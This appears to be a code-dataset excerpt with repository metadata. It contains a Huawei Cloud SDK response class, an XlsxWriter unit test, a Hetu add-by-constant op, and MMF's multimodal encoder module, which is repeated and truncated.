if not isinstance(other, ShowCustomerOrderDetailsResponse):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| 30.398773 | 99 | 0.618769 |
import pprint
import re
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
class ShowCustomerOrderDetailsResponse(SdkResponse):
sensitive_list = []
openapi_types = {
'total_count': 'int',
'order_info': 'CustomerOrderV2',
'order_line_items': 'list[OrderLineItemEntityV2]'
}
attribute_map = {
'total_count': 'total_count',
'order_info': 'order_info',
'order_line_items': 'order_line_items'
}
def __init__(self, total_count=None, order_info=None, order_line_items=None):
super().__init__()
self._total_count = None
self._order_info = None
self._order_line_items = None
self.discriminator = None
if total_count is not None:
self.total_count = total_count
if order_info is not None:
self.order_info = order_info
if order_line_items is not None:
self.order_line_items = order_line_items
@property
def total_count(self):
return self._total_count
@total_count.setter
def total_count(self, total_count):
self._total_count = total_count
@property
def order_info(self):
return self._order_info
@order_info.setter
def order_info(self, order_info):
self._order_info = order_info
@property
def order_line_items(self):
return self._order_line_items
@order_line_items.setter
def order_line_items(self, order_line_items):
self._order_line_items = order_line_items
def to_dict(self):
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
if attr in self.sensitive_list:
result[attr] = "****"
else:
result[attr] = value
return result
def to_str(self):
return pprint.pformat(self.to_dict())
def __repr__(self):
return self.to_str()
def __eq__(self, other):
if not isinstance(other, ShowCustomerOrderDetailsResponse):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self == other
| true | true |
f725f695763bfd4fc762cb3bc2d1ac57a86e383c | 811 | py | Python | xlsxwriter/test/chartsheet/test_initialisation.py | haiyangd/XlsxWriter | 81f8c9435b3e03a1458bf9ba314b5d3f7508290f | [
"BSD-2-Clause-FreeBSD"
] | 3 | 2018-02-26T12:31:41.000Z | 2020-10-10T14:14:11.000Z | xlsxwriter/test/chartsheet/test_initialisation.py | haiyangd/XlsxWriter | 81f8c9435b3e03a1458bf9ba314b5d3f7508290f | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | xlsxwriter/test/chartsheet/test_initialisation.py | haiyangd/XlsxWriter | 81f8c9435b3e03a1458bf9ba314b5d3f7508290f | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | ###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2017, John McNamara, jmcnamara@cpan.org
#
import unittest
from ...compatibility import StringIO
from ...chartsheet import Chartsheet
class TestInitialisation(unittest.TestCase):
"""
Test initialisation of the Chartsheet class and call a method.
"""
def setUp(self):
self.fh = StringIO()
self.chartsheet = Chartsheet()
self.chartsheet._set_filehandle(self.fh)
def test_xml_declaration(self):
"""Test Chartsheet xml_declaration()"""
self.chartsheet._xml_declaration()
exp = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n"""
got = self.fh.getvalue()
self.assertEqual(got, exp)
| 24.575758 | 79 | 0.591862 | true | true | |
f725f82a65e7831844437922f04c35e5f5cd1ffc | 1,577 | py | Python | python/hetu/gpu_ops/AddConst.py | HugoZHL/Hetu | 51b0aa3d3deeb9c7a5c8e57aecec7b641db750af | [
"Apache-2.0"
] | null | null | null | python/hetu/gpu_ops/AddConst.py | HugoZHL/Hetu | 51b0aa3d3deeb9c7a5c8e57aecec7b641db750af | [
"Apache-2.0"
] | null | null | null | python/hetu/gpu_ops/AddConst.py | HugoZHL/Hetu | 51b0aa3d3deeb9c7a5c8e57aecec7b641db750af | [
"Apache-2.0"
] | 1 | 2021-08-01T09:05:20.000Z | 2021-08-01T09:05:20.000Z | from __future__ import absolute_import
from .Node import Op
from .._base import DNNL_LIB
from ..cpu_links import matrix_elementwise_add_by_const as cpu_matrix_elementwise_add_by_const
from ..gpu_links import matrix_elementwise_add_by_const
class AddByConstOp(Op):
def __init__(self, node_A, const_val, ctx=None):
super().__init__(AddByConstOp, [node_A], ctx)
self.const_attr = const_val
@property
def desc(self):
return self.name + '(%s, %s)' % (self.inputs[0].name, str(self.const_attr))
def compute(self, input_vals, output_val, stream_handle=None):
if self.on_cpu:
if DNNL_LIB['DnnlMatrixElementwiseAddByConst']:
cpu_matrix_elementwise_add_by_const(
input_vals[0], self.const_attr, output_val)
else:
output_val[:] = input_vals[0].asnumpy() + self.const_attr
else:
matrix_elementwise_add_by_const(
input_vals[0], self.const_attr, output_val, stream_handle)
def gradient(self, output_grad):
return [output_grad]
def infer_shape(self, input_shapes):
assert len(input_shapes) == 1
return input_shapes[0]
def addbyconst_op(node, const_val, ctx=None):
"""Make a new instance of AddByConstOp and call the instance.
Parameters:
----
node : Node
The Node to be added.
const_val : scalar value
The constant value to be added.
Returns:
----
A new Node instance created by Op.
"""
return AddByConstOp(node, const_val, ctx=ctx)
| 30.326923 | 94 | 0.660748 | from __future__ import absolute_import
from .Node import Op
from .._base import DNNL_LIB
from ..cpu_links import matrix_elementwise_add_by_const as cpu_matrix_elementwise_add_by_const
from ..gpu_links import matrix_elementwise_add_by_const
class AddByConstOp(Op):
def __init__(self, node_A, const_val, ctx=None):
super().__init__(AddByConstOp, [node_A], ctx)
self.const_attr = const_val
@property
def desc(self):
return self.name + '(%s, %s)' % (self.inputs[0].name, str(self.const_attr))
def compute(self, input_vals, output_val, stream_handle=None):
if self.on_cpu:
if DNNL_LIB['DnnlMatrixElementwiseAddByConst']:
cpu_matrix_elementwise_add_by_const(
input_vals[0], self.const_attr, output_val)
else:
output_val[:] = input_vals[0].asnumpy() + self.const_attr
else:
matrix_elementwise_add_by_const(
input_vals[0], self.const_attr, output_val, stream_handle)
def gradient(self, output_grad):
return [output_grad]
def infer_shape(self, input_shapes):
assert len(input_shapes) == 1
return input_shapes[0]
def addbyconst_op(node, const_val, ctx=None):
return AddByConstOp(node, const_val, ctx=ctx)
| true | true |
f725fa58d83ac3bdbfb6b9632641decaf448c44e | 29,514 | py | Python | mmf/modules/encoders.py | facebookresearch/pythia | 079740bee4b357a7b1b866d35e2f1fad6edba8a4 | [
"BSD-3-Clause"
] | 3,252 | 2018-07-27T02:32:24.000Z | 2020-05-07T17:54:46.000Z | mmf/modules/encoders.py | facebookresearch/pythia | 079740bee4b357a7b1b866d35e2f1fad6edba8a4 | [
"BSD-3-Clause"
] | 209 | 2018-07-30T06:39:59.000Z | 2020-05-04T22:03:48.000Z | mmf/modules/encoders.py | facebookresearch/pythia | 079740bee4b357a7b1b866d35e2f1fad6edba8a4 | [
"BSD-3-Clause"
] | 431 | 2018-07-27T04:17:37.000Z | 2020-05-05T13:58:02.000Z | # Copyright (c) Facebook, Inc. and its affiliates.
import importlib
import logging
import os
import pickle
import re
from collections import OrderedDict
from copy import deepcopy
from dataclasses import asdict, dataclass
from enum import Enum
from typing import Any
import torch
import torchvision
from mmf.common.registry import registry
from mmf.models.frcnn import GeneralizedRCNN
from mmf.modules.embeddings import ProjectionEmbedding, TextEmbedding
from mmf.modules.hf_layers import BertModelJit
from mmf.modules.layers import Identity
from mmf.utils.build import build_image_encoder, build_text_encoder
from mmf.utils.download import download_pretrained_model
from mmf.utils.file_io import PathManager
from mmf.utils.general import get_absolute_path
from mmf.utils.logger import log_class_usage
from omegaconf import MISSING, OmegaConf
from torch import nn, Tensor
from transformers.configuration_auto import AutoConfig
from transformers.modeling_auto import AutoModel
try:
from detectron2.modeling import build_resnet_backbone, ShapeSpec
except ImportError:
pass
logger = logging.getLogger()
class Encoder(nn.Module):
@dataclass
class Config:
name: str = MISSING
def __init__(self):
super().__init__()
log_class_usage("Encoder", self.__class__)
@classmethod
def from_params(cls, **kwargs):
config = OmegaConf.structured(cls.Config(**kwargs))
return cls(config)
class EncoderFactory(nn.Module):
@dataclass
class Config:
type: str = MISSING
params: Encoder.Config = MISSING
class ImageFeatureEncoderTypes(Enum):
default = "default"
identity = "identity"
projection = "projection"
frcnn_fc7 = "finetune_faster_rcnn_fpn_fc7"
class ImageFeatureEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
in_dim: int = MISSING
class ImageFeatureEncoderFactory(EncoderFactory):
@dataclass
class Config(EncoderFactory.Config):
type: ImageFeatureEncoderTypes = MISSING
params: ImageFeatureEncoder.Config = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
encoder_type = config.type
if isinstance(encoder_type, ImageFeatureEncoderTypes):
encoder_type = encoder_type.value
assert (
"in_dim" in config.params
), "ImageFeatureEncoder require 'in_dim' param in config"
params = config.params
if encoder_type == "default" or encoder_type == "identity":
self.module = Identity()
self.module.in_dim = params.in_dim
self.module.out_dim = params.in_dim
elif encoder_type == "projection":
if "module" not in params:
params = deepcopy(params)
params.module = "linear"
self.module = ProjectionEmbedding(**params)
elif encoder_type == "finetune_faster_rcnn_fpn_fc7":
self.module = FinetuneFasterRcnnFpnFc7(params)
else:
raise NotImplementedError("Unknown Image Encoder: %s" % encoder_type)
self.out_dim = self.module.out_dim
def forward(self, *args, **kwargs):
return self.module(*args, **kwargs)
@registry.register_encoder("finetune_faster_rcnn_fpn_fc7")
class FinetuneFasterRcnnFpnFc7(ImageFeatureEncoder):
@dataclass
class Config(ImageFeatureEncoder.Config):
name: str = "finetune_faster_rcnn_fpn_fc7"
in_dim: int = MISSING
weights_file: str = "fc7_w.pkl"
bias_file: str = "fc7_b.pkl"
model_data_dir: str = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
model_data_dir = get_absolute_path(config.model_data_dir)
if not os.path.isabs(config.weights_file):
weights_file = os.path.join(model_data_dir, config.weights_file)
if not os.path.isabs(config.bias_file):
bias_file = os.path.join(model_data_dir, config.bias_file)
if not PathManager.exists(bias_file) or not PathManager.exists(weights_file):
download_path = download_pretrained_model("detectron.vmb_weights")
weights_file = get_absolute_path(os.path.join(download_path, "fc7_w.pkl"))
bias_file = get_absolute_path(os.path.join(download_path, "fc7_b.pkl"))
with PathManager.open(weights_file, "rb") as w:
weights = pickle.load(w)
with PathManager.open(bias_file, "rb") as b:
bias = pickle.load(b)
out_dim = bias.shape[0]
self.lc = nn.Linear(config.in_dim, out_dim)
self.lc.weight.data.copy_(torch.from_numpy(weights))
self.lc.bias.data.copy_(torch.from_numpy(bias))
self.out_dim = out_dim
def _load_from_state_dict(
self,
state_dict,
prefix,
local_metadata,
strict,
missing_keys,
unexpected_keys,
error_msgs,
):
old_prefix = prefix + "module."
for k in list(state_dict.keys()):
if k.startswith(old_prefix):
new_k = k.replace(old_prefix, prefix)
state_dict[new_k] = state_dict.pop(k)
super()._load_from_state_dict(
state_dict,
prefix,
local_metadata,
strict,
missing_keys,
unexpected_keys,
error_msgs,
)
def forward(self, image):
i2 = self.lc(image)
i3 = nn.functional.relu(i2)
return i3
@registry.register_encoder("identity")
class IdentityEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "identity"
# Random in_dim if not specified
in_dim: int = 100
def __init__(self, config: Config):
super().__init__()
self.module = nn.Identity()
self.in_dim = config.get("in_dim", 100)
self.out_dim = self.in_dim
def forward(self, x):
return self.module(x)
class ImageEncoderTypes(Enum):
default = "default"
identity = "identity"
torchvision_resnet = "torchvision_resnet"
resnet152 = "resnet152"
detectron2_resnet = "detectron2_resnet"
class ImageEncoderFactory(EncoderFactory):
@dataclass
class Config(EncoderFactory.Config):
type: ImageEncoderTypes = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self._type = config.type
if isinstance(self._type, ImageEncoderTypes):
self._type = self._type.value
params = config.params
if self._type == "default" or self._type == "identity":
self.module = nn.Identity()
self.module.out_dim = params.in_dim
elif self._type == "resnet152":
self.module = ResNet152ImageEncoder(params)
elif self._type == "torchvision_resnet":
self.module = TorchvisionResNetImageEncoder(params)
elif self._type == "detectron2_resnet":
self.module = Detectron2ResnetImageEncoder(params)
elif self._type == "frcnn":
self.module = FRCNNImageEncoder(params)
else:
raise NotImplementedError("Unknown Image Encoder: %s" % self._type)
@property
def out_dim(self):
return self.module.out_dim
def forward(self, image):
return self.module(image)
# Taken from facebookresearch/mmbt with some modifications
@registry.register_encoder("resnet152")
class ResNet152ImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "resnet152"
pretrained: bool = True
# "avg" or "adaptive"
pool_type: str = "avg"
num_output_features: int = 1
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
model = torchvision.models.resnet152(pretrained=config.get("pretrained", True))
modules = list(model.children())[:-2]
self.model = nn.Sequential(*modules)
pool_func = (
nn.AdaptiveAvgPool2d if config.pool_type == "avg" else nn.AdaptiveMaxPool2d
)
# -1 will keep the original feature size
if config.num_output_features == -1:
self.pool = nn.Identity()
elif config.num_output_features in [1, 2, 3, 5, 7]:
self.pool = pool_func((config.num_output_features, 1))
elif config.num_output_features == 4:
self.pool = pool_func((2, 2))
elif config.num_output_features == 6:
self.pool = pool_func((3, 2))
elif config.num_output_features == 8:
self.pool = pool_func((4, 2))
elif config.num_output_features == 9:
self.pool = pool_func((3, 3))
self.out_dim = 2048
def forward(self, x):
# Bx3x224x224 -> Bx2048x7x7 -> Bx2048xN -> BxNx2048
out = self.pool(self.model(x))
out = torch.flatten(out, start_dim=2)
out = out.transpose(1, 2).contiguous()
return out # BxNx2048
@registry.register_encoder("torchvision_resnet")
class TorchvisionResNetImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "resnet50"
pretrained: bool = False
zero_init_residual: bool = True
num_output_features: int = -1
pool_type: str = "avg"
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
model = getattr(torchvision.models, config.name)(
pretrained=config.pretrained, zero_init_residual=config.zero_init_residual
)
# checks if use_avgpool exists to maintain the old logic
self.use_avgpool = config.get("use_avgpool", None)
if self.use_avgpool: # use_avgpool is True
config.num_output_features = 1
config.pool_type = "avg"
elif self.use_avgpool is False: # use_avgpool is False
config.num_output_features = -1
if config.pretrained:
model = self._load_pretrained(model, config)
modules = list(model.children())[:-2]
self.model = nn.Sequential(*modules)
self.pool = self._pool_func(config)
self.out_dim = config.get("out_dim", 2048)
def _load_pretrained(self, model, config: Config):
pretrained_model = config.get("pretrained_model", "supervised")
if pretrained_model == "supervised":
pass # this is already loaded via torchvision using pretrained=True
elif os.path.exists(pretrained_model):
model.load_state_dict(torch.load(pretrained_model))
else:
try:
with PathManager.open(pretrained_model, "rb") as f:
model.load_state_dict(
torch.load(f, map_location=lambda storage, loc: storage),
strict=False,
)
except Exception:
raise Exception(f"unknown pretrained ResNet model: {pretrained_model}")
return model
def _pool_func(self, config: Config):
pool_func = (
nn.AdaptiveAvgPool2d if config.pool_type == "avg" else nn.AdaptiveMaxPool2d
)
# -1 will keep the original feature size
if config.num_output_features == -1:
pool = nn.Identity()
elif config.num_output_features in [1, 2, 3, 5, 7]:
pool = pool_func((config.num_output_features, 1))
elif config.num_output_features == 4:
pool = pool_func((2, 2))
elif config.num_output_features == 6:
pool = pool_func((3, 2))
elif config.num_output_features == 8:
pool = pool_func((4, 2))
elif config.num_output_features == 9:
pool = pool_func((3, 3))
return pool
def forward(self, x):
# B x 3 x 224 x 224 -> B x out_dim x 7 x 7
out = self.pool(self.model(x))
if self.use_avgpool is None:
out = torch.flatten(out, start_dim=2)
out = out.transpose(1, 2).contiguous() # BxNxout_dim
else:
out = torch.flatten(out, start_dim=1) # BxN*out_dim
return out
@registry.register_encoder("detectron2_resnet")
class Detectron2ResnetImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "detectron2_resnet"
pretrained: bool = True
pretrained_path: str = None
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
pretrained = config.get("pretrained", False)
pretrained_path = config.get("pretrained_path", None)
self.resnet = build_resnet_backbone(config, ShapeSpec(channels=3))
if pretrained:
state_dict = torch.hub.load_state_dict_from_url(
pretrained_path, progress=False
)
new_state_dict = OrderedDict()
replace_layer = {"backbone.": ""}
for key, value in state_dict["model"].items():
new_key = re.sub(
r"(backbone\.)", lambda x: replace_layer[x.groups()[0]], key
)
new_state_dict[new_key] = value
self.resnet.load_state_dict(new_state_dict, strict=False)
self.out_dim = 2048
def forward(self, x):
x = self.resnet(x)
return x["res5"]
@registry.register_encoder("frcnn")
class FRCNNImageEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "frcnn"
pretrained: bool = True
pretrained_path: str = None
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
pretrained = config.get("pretrained", False)
pretrained_path = config.get("pretrained_path", None)
self.frcnn = GeneralizedRCNN(config)
if pretrained:
state_dict = torch.load(pretrained_path)
self.frcnn.load_state_dict(state_dict)
self.frcnn.eval()
def forward(
self,
x: torch.Tensor,
sizes: torch.Tensor = None,
scales_yx: torch.Tensor = None,
padding: torch.Tensor = None,
max_detections: int = 0,
return_tensors: str = "pt",
):
x = self.frcnn(
x,
sizes,
scales_yx=scales_yx,
padding=padding,
max_detections=max_detections,
return_tensors=return_tensors,
)
return x
class TextEncoderTypes(Enum):
identity = "identity"
transformer = "transformer"
embedding = "embedding"
class TextEncoderFactory(EncoderFactory):
@dataclass
class Config(EncoderFactory.Config):
# identity, transformer or embedding as of now
type: TextEncoderTypes = MISSING
params: Encoder.Config = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self._type = config.type
if isinstance(self._type, TextEncoderTypes):
self._type = self._type.value
if self._type == "identity":
self.module = nn.Identity()
elif self._type == "transformer":
self._module = TransformerEncoder(config.params)
self.module = self._module.module
elif self._type == "embedding":
self.module = TextEmbeddingEncoder(config.params)
else:
raise NotImplementedError(f"Unknown Text Encoder {self._type}")
def forward(self, *args, **kwargs):
return self.module(*args, **kwargs)
@registry.register_encoder("text_embedding")
class TextEmbeddingEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "text_embedding"
operator: str = MISSING
# Keeping this Any for now as this
# needs a separate refactor PR.
embedding_params: Any = MISSING
def __init__(self, config: Config):
super().__init__()
self._operator = config.operator
self._embedding_params = config.embedding_params
self.module = TextEmbedding(
self._embedding_params.type, **self._embedding_params.params
)
def forward(self, x):
x = self.module(x)
if self._operator == "sum":
x = x.sum(dim=1)
elif self._operator == "concat":
x = torch.cat(x, dim=1)
elif self._operator == "mul":
x = torch.prod(x, dim=1)
return x.squeeze()
@registry.register_encoder("transformer")
class TransformerEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "transformer"
num_segments: int = 2
bert_model_name: str = "bert-base-uncased"
# Options below can be overridden to update the bert configuration used
# to initialize the bert encoder. If some option is missing or
# if you are using an encoder different then BERT, add extra parameters
# by inheriting and extending this config
# Those options will automatically override the options for your transformer
# encoder's configuration. For e.g. vocab_size is missing here, just add
# vocab_size: x to update the size of the vocabulary with which encoder is
# initialized. If you update the default values, the transformer you
# will get will be initialized from scratch.
hidden_size: int = 768
num_hidden_layers: int = 12
num_attention_heads: int = 12
output_attentions: bool = False
output_hidden_states: bool = False
random_init: bool = False
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
hf_params = {"config": self._build_encoder_config(config)}
should_random_init = self.config.get("random_init", False)
# For BERT models, initialize using Jit version
if self.config.bert_model_name.startswith("bert-"):
if should_random_init:
self.module = BertModelJit(**hf_params)
else:
self.module = BertModelJit.from_pretrained(
self.config.bert_model_name, **hf_params
)
else:
if should_random_init:
self.module = AutoModel.from_config(**hf_params)
else:
self.module = AutoModel.from_pretrained(
self.config.bert_model_name, **hf_params
)
self.embeddings = self.module.embeddings
self.original_config = self.config
self.config = self.module.config
self._init_segment_embeddings()
def _init_segment_embeddings(self):
if self.original_config.get("num_segments", None):
num_segments = self.original_config.num_segments
if hasattr(self.embeddings, "token_type_embeddings"):
new_embeds = nn.Embedding(num_segments, self.config.hidden_size)
new_embeds.weight.data[:2].copy_(
self.embeddings.token_type_embeddings.weight
)
for idx in range(2, num_segments - 1):
new_embeds.weight.data[idx].copy_(
self.embeddings.token_type_embeddings.weight.data.mean(dim=0)
)
self.embeddings.token_type_embeddings = new_embeds
def _build_encoder_config(self, config: Config):
return AutoConfig.from_pretrained(
config.bert_model_name, **OmegaConf.to_container(config)
)
def forward(self, *args, return_sequence=False, **kwargs) -> Tensor:
# Only return pooled output
output = self.module(*args, **kwargs)
return output[0] if return_sequence else output[1]
class MultiModalEncoderBase(Encoder):
__jit_unused_properties__ = ["encoder_config"]
@dataclass
class Config(Encoder.Config):
# This actually is Union[ImageEncoderConfig, ImageFeatureEncoderConfig]
modal_encoder: EncoderFactory.Config = ImageEncoderFactory.Config(
type=ImageEncoderTypes.resnet152, params=ResNet152ImageEncoder.Config()
)
text_encoder: EncoderFactory.Config = TextEncoderFactory.Config(
type=TextEncoderTypes.transformer, params=TransformerEncoder.Config()
)
direct_features_input: bool = False
modal_hidden_size: int = 2048
text_hidden_size: int = 768
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
self._modal_encoder_config = self.config.get("modal_encoder", None)
self._is_direct_features_input = self.config.get("direct_features_input", False)
self.build()
self.modal_hidden_size = self.config.get("modal_hidden_size", None)
self.text_hidden_size = self.config.get("text_hidden_size", None)
def build(self):
encoders = self._build_encoders(self.config)
self.text_encoder, self.modal_encoder = encoders[0], encoders[1]
self._encoder_config = None
if self.text_encoder:
self._encoder_config = self.text_encoder.config
@property
def encoder_config(self):
return self._encoder_config
def _build_encoders(self, config):
text_encoder = None
if config.get("text_encoder", None):
text_encoder = build_text_encoder(config.text_encoder)
modal_encoder = None
if config.get("modal_encoder", None):
modal_encoder = self._build_modal_encoder(config.modal_encoder)
return (text_encoder, modal_encoder)
def _build_modal_encoder(self, config):
return build_image_encoder(
config, direct_features=self._is_direct_features_input
)
class PooledEncoder(Encoder):
"""
Standard pooled encoder class which takes in an input, encodes it with an encoder
implemented and returned from `self.build_encoder` function, pools it based
`pool_type` and `num_output_features` specified, flattens it and returns it
back as a tensor.
"""
@dataclass
class Config(Encoder.Config):
num_output_features: int = 1 # How many output features need to be returned.
pool_type: str = "avg" # type of pooling to apply "avg" | "adaptive"
out_dim: int = MISSING # size of out dim expected
three_d: bool = False # if input requires 3D pooling (for video)
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.encoder = self.build_encoder(config)
pool_func = (
nn.AdaptiveAvgPool2d if config.pool_type == "avg" else nn.AdaptiveMaxPool2d
)
params = (config.num_output_features, 1)
if config.three_d:
pool_func = (
nn.AdaptiveAvgPool3d
if config.pool_type == "avg"
else nn.AdaptiveMaxPool3d
)
params = (config.num_output_features, 1, 1)
# -1 will keep the original feature size
if config.num_output_features == -1:
self.pool = nn.Identity()
else:
self.pool = pool_func(params)
self.out_dim = config.out_dim
def build_encoder(self, config: Config, *args, **kwargs):
"""Build an encoder on whose output the pooling will be applied.
Args:
config (Config): Config parameter required to build the encoder.
Raises:
NotImplementedError: Not implemented by default.
"""
raise NotImplementedError()
def forward(self, x: Tensor) -> Tensor:
out = self.encoder(x)
out = self.pool(out)
out = torch.flatten(out, start_dim=2)
out = out.transpose(1, 2).contiguous()
return out
@registry.register_encoder("pytorchvideo")
class PytorchVideoEncoder(Encoder):
"""A thin wrapper around pytorchvideo models.
This class is responsible for integrating pytorchvideo models as encoders.
THis class attempts to construct a pytorchvideo model from torch hub.
If this fails for a random weight model, and pytorchvideo package is available,
build the model with random weights from pytorchvideo.models.
Config:
name (str): Always 'pytorchvideo' Used for builder_encoder()
random_init (bool): Flag to load pretrained weights
model_name (str): Name of the pytorchvideo model to use
drop_last_n_layers (int):
<=0 value for the number of layers to drop off the end
pooler_name (str): Name of pooler used on model output
Raises:
ImportError:
The constructor raises an ImportError if pytorchvideo is not installed.
"""
@dataclass
class Config(Encoder.Config):
name: str = "pytorchvideo"
random_init: bool = False
model_name: str = "slowfast_r50"
drop_last_n_layers: int = -1
pooler_name: str = "identity"
PYTORCHVIDEO_REPO = "facebookresearch/pytorchvideo:main"
def __init__(self, config: Config):
super().__init__()
config = OmegaConf.create({**asdict(self.Config()), **config})
if config.random_init:
params = dict(**OmegaConf.to_container(config))
params = {
k: v
for k, v in params.items()
if k not in PytorchVideoEncoder.Config().__dict__
}
try:
model = torch.hub.load(
PytorchVideoEncoder.PYTORCHVIDEO_REPO,
model=config.model_name,
pretrained=False,
**params,
)
except BaseException as err:
pytorchvideo_spec = importlib.util.find_spec("pytorchvideo")
if pytorchvideo_spec is None:
raise err
import pytorchvideo.models.hub as hub
model_create_fn = getattr(hub, config.model_name)
model = model_create_fn(pretrained=False, **params)
else:
# load weights from TorchHub
model = torch.hub.load(
PytorchVideoEncoder.PYTORCHVIDEO_REPO,
model=config.model_name,
pretrained=True,
)
encoder_list = []
if config.drop_last_n_layers == 0:
encoder_list += [model]
else:
modules_list = list(model.children())
if len(modules_list) == 1:
modules_list = list(modules_list[0].children())
modules = modules_list[: config.drop_last_n_layers]
encoder_list += modules
pooler = registry.get_pool_class(config.pooler_name)()
encoder_list += [pooler]
self.encoder = nn.Sequential(*encoder_list)
def forward(self, *args, **kwargs):
# pass along input to model
# assumes caller obeys the dynamic model signature
return self.encoder(*args, **kwargs)
@registry.register_encoder("r2plus1d_18")
class R2Plus1D18VideoEncoder(PooledEncoder):
"""
R2Plus1D based video encoder. Returns back a tensor of dim 2048.
By default, pretrained version is used.
See https://arxiv.org/abs/1711.11248.
"""
@dataclass
class Config(PooledEncoder.Config):
name: str = "r2plus1d_18"
out_dim: int = 512 # out dim
pretrained: bool = True # if should use pretrained version or not
three_d: bool = True
def build_encoder(self, config: Config, *args, **kwargs):
model = torchvision.models.video.r2plus1d_18(
pretrained=config.get("pretrained", True)
)
modules = list(model.children())[:-2]
return nn.Sequential(*modules)
@registry.register_encoder("resnet18_audio")
class ResNet18AudioEncoder(PooledEncoder):
"""
Audio encoder based on ResNet18 used in various audio classification paper
as a baseline. By default, not pretrained version is used.
"""
@dataclass
class Config(PooledEncoder.Config):
name: str = "resnet18_audio"
out_dim: int = 512
pretrained: bool = False
def build_encoder(self, config: Config, *args, **kwargs):
model = torchvision.models.resnet18(pretrained=config.get("pretrained", False))
model.conv1 = nn.Conv2d(1, 64, kernel_size=7, stride=2, padding=3, bias=False)
modules = list(model.children())[:-2]
return nn.Sequential(*modules)
@registry.register_encoder("vit")
class ViTEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
name: str = "vit"
# See https://huggingface.co/models?filter=vit for available options
pretrained_model_name: str = "google/vit-base-patch16-224"
random_init: bool = False
gradient_checkpointing: bool = False
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
self.config = config
self.module, self.hf_config = self._model_class.from_config(config)
self.embeddings = self.module.embeddings
self.out_dim = self.hf_config.hidden_size
@property
def _model_class(self):
from mmf.modules.vit import ViTModel
return ViTModel
def forward(self, *args, **kwargs):
if "output_hidden_states" not in kwargs:
kwargs["output_hidden_states"] = False
output = self.module(*args, **kwargs)
return output["last_hidden_state"], output.get("hidden_states", None)
| 34.763251 | 88 | 0.630345 |
import importlib
import logging
import os
import pickle
import re
from collections import OrderedDict
from copy import deepcopy
from dataclasses import asdict, dataclass
from enum import Enum
from typing import Any
import torch
import torchvision
from mmf.common.registry import registry
from mmf.models.frcnn import GeneralizedRCNN
from mmf.modules.embeddings import ProjectionEmbedding, TextEmbedding
from mmf.modules.hf_layers import BertModelJit
from mmf.modules.layers import Identity
from mmf.utils.build import build_image_encoder, build_text_encoder
from mmf.utils.download import download_pretrained_model
from mmf.utils.file_io import PathManager
from mmf.utils.general import get_absolute_path
from mmf.utils.logger import log_class_usage
from omegaconf import MISSING, OmegaConf
from torch import nn, Tensor
from transformers.configuration_auto import AutoConfig
from transformers.modeling_auto import AutoModel
try:
from detectron2.modeling import build_resnet_backbone, ShapeSpec
except ImportError:
pass
logger = logging.getLogger()
class Encoder(nn.Module):
@dataclass
class Config:
name: str = MISSING
def __init__(self):
super().__init__()
log_class_usage("Encoder", self.__class__)
@classmethod
def from_params(cls, **kwargs):
config = OmegaConf.structured(cls.Config(**kwargs))
return cls(config)
class EncoderFactory(nn.Module):
@dataclass
class Config:
type: str = MISSING
params: Encoder.Config = MISSING
class ImageFeatureEncoderTypes(Enum):
default = "default"
identity = "identity"
projection = "projection"
frcnn_fc7 = "finetune_faster_rcnn_fpn_fc7"
class ImageFeatureEncoder(Encoder):
@dataclass
class Config(Encoder.Config):
in_dim: int = MISSING
class ImageFeatureEncoderFactory(EncoderFactory):
@dataclass
class Config(EncoderFactory.Config):
type: ImageFeatureEncoderTypes = MISSING
params: ImageFeatureEncoder.Config = MISSING
def __init__(self, config: Config, *args, **kwargs):
super().__init__()
encoder_type = config.type
if isinstance(encoder_type, ImageFeatureEncoderTypes):
encoder_type = encoder_type.value
assert (
"in_dim" in config.params
), "ImageFeatureEncoder require 'in_dim' param in config"
params = config.params
if encoder_type == "default" or encoder_type == "identity":
self.module = Identity()
self.module.in_dim = params.in_dim
self.module.out_dim = params.in_dim
elif encoder_type == "projection":
if "module" not in params:
params = deepcopy(params)
params.module = "linear"
self.module = ProjectionEmbedding(**params)
elif encoder_type == "finetune_faster_rcnn_fpn_fc7":
self.module = FinetuneFasterRcnnFpnFc7(params)
else:
raise NotImplementedError("Unknown Image Encoder: %s" % encoder_type)
self.out_dim = self.module.out_dim
def forward(self, *args, **kwargs):
return self.module(*args, **kwargs)
@registry.register_encoder("finetune_faster_rcnn_fpn_fc7")
class FinetuneFasterRcnnFpnFc7(ImageFeatureEncoder):
@dataclass
class Config(ImageFeatureEncoder.Config):
